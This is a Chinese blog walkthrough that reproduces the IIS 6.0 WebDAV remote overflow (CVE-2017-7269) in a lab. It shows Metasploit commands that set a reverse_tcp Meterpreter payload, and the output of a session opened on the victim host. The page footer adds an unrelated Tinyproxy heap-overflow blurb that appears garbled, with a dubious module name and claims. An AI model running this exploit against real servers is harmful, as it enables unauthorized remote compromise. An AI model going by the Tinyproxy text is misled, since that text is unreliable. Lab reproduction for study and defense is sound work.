Metasploit复现 IIS6.0远程溢出漏洞

漏洞描述

开启WebDAV服务对IIS 6.0存在缓冲区溢出漏洞都可以导致远程代码执行,所以对于目前的IIS 6.0用户而言,可用的变通方案就是关闭WebDAV服务。

漏洞编号

CVE-2017-7269

漏洞等级

高危

影响产品

Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0

漏洞环境搭建

我的环境是windows 2003 R2 Enterprise Edition,安装好IIS 6.0 之后进入服务管理,在管理器中,有一个windows拓展,拓展中有一个webdav选项,该选项默认时禁止状态,右键选择允许就可以了。
这里写图片描述
随后windows+R–>services.msc–>打开webcClient服务,完成配置
这里写图片描述

漏洞测试

攻击机:kali IP :192.168.48.131
受害机:windows2003 IP :192.168.48.146
cve-2017-7269-master.zip
将exp放到
/usr/share/metasploitframework/modules/exploits/windows/iis目录下

msf > search cve-2017-7269

Matching Modules
================

   Name                                                 Disclosure Date  Rank    Description
   ----                                                 ---------------  ----    -----------
   exploit/windows/iis/cve-2017-7269                    2017-03-31       good    CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow
   exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26       manual   Microsoft IIS WebDav ScStoragePathFromUrl Overflow


msf > use exploit/windows/iis/cve-2017-7269 
msf exploit(windows/iis/cve-2017-7269) > show options 

Module options (exploit/windows/iis/cve-2017-7269):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HttpHost            localhost        yes       http host for target
   PhysicalPathLength  19               yes       length of physical path for target(include backslash)
   RHOST                                yes       The target address
   RPORT               80               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2


msf exploit(windows/iis/cve-2017-7269) > set RHOST 192.168.48.146     //设置对方ip
RHOST => 192.168.48.146
msf exploit(windows/iis/cve-2017-7269) > set HttpHost 192.168.48.146       //设置对方网站
HttpHost => 192.168.48.146
msf exploit(windows/iis/cve-2017-7269) > set payload windows/meterpreter/reverse_tcp    //设置返回载荷
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/iis/cve-2017-7269) > set LHOST 192.168.48.131    //设置本机ip
LHOST => 192.168.48.131
msf exploit(windows/iis/cve-2017-7269) > exploit     //溢出

[*] Started reverse TCP handler on 192.168.48.131:4444 
[*] Sending stage (179779 bytes) to 192.168.48.146
[*] Meterpreter session 1 opened (192.168.48.131:4444 -> 192.168.48.146:1043) at 2018-01-24 22:49:23 +0800

meterpreter > 

现在可以执行系统命令了
这里写图片描述

c:\windows\system32\inetsrv>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ��������:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 192.168.48.146
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.48.2

c:\windows\system32\inetsrv>

参考资料

CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Tinyproxy是一款轻量级的HTTP代理服务器,它可以在Linux/Unix系统上运行。在使用Tinyproxy的过程中,我们发现它存在一个堆溢出漏洞,攻击者可以利用该漏洞进行攻击,本文将介绍该漏洞复现过程。 漏洞描述 Tinyproxy中存在一个堆溢出漏洞,攻击者可以通过发送恶意的HTTP请求来触发该漏洞,导致程序崩溃或执行恶意代码复现步骤 1. 下载安装Tinyproxy 首先需要下载Tinyproxy,并安装在Linux/Unix系统上。可以通过以下命令进行安装: ``` sudo apt-get update sudo apt-get install tinyproxy ``` 2. 启动Tinyproxy 在安装完成后,可以通过以下命令启动Tinyproxy: ``` sudo service tinyproxy start ``` 3. 准备测试工具 我们需要使用一个测试工具,来发送恶意的HTTP请求。这里我们使用的是Metasploit框架中的`http_chunked`模块。如果你还没有安装Metasploit框架,可以通过以下命令进行安装: ``` sudo apt-get install metasploit-framework ``` 4. 构造恶意HTTP请求 使用`msfconsole`命令打开Metasploit框架,进入交互式界面。然后执行以下命令,构造恶意HTTP请求: ``` use auxiliary/scanner/http/http_chunked set RHOSTS <target_ip> set RPORT 8888 set TARGETURI / run ``` 其中,`<target_ip>`是目标机器的IP地址,`8888`是Tinyproxy的默认端口号。执行完上述命令后,Metasploit框架会发送恶意的HTTP请求到目标机器上。 5. 复现漏洞 当目标机器接收到恶意的HTTP请求时,Tinyproxy会尝试解析该请求。由于请求中的数据长度超出Tinyproxy的缓冲区大小,导致程序发生堆溢出,从而崩溃或执行恶意代码漏洞修复 目前,官方并没有发布该漏洞的修复版本。建议用户不要在生产环境中使用Tinyproxy,或者使用其他替代品。如果必须使用Tinyproxy,建议在防火墙等安全设备上,对Tinyproxy进行限制,避免攻击者利用该漏洞进行攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值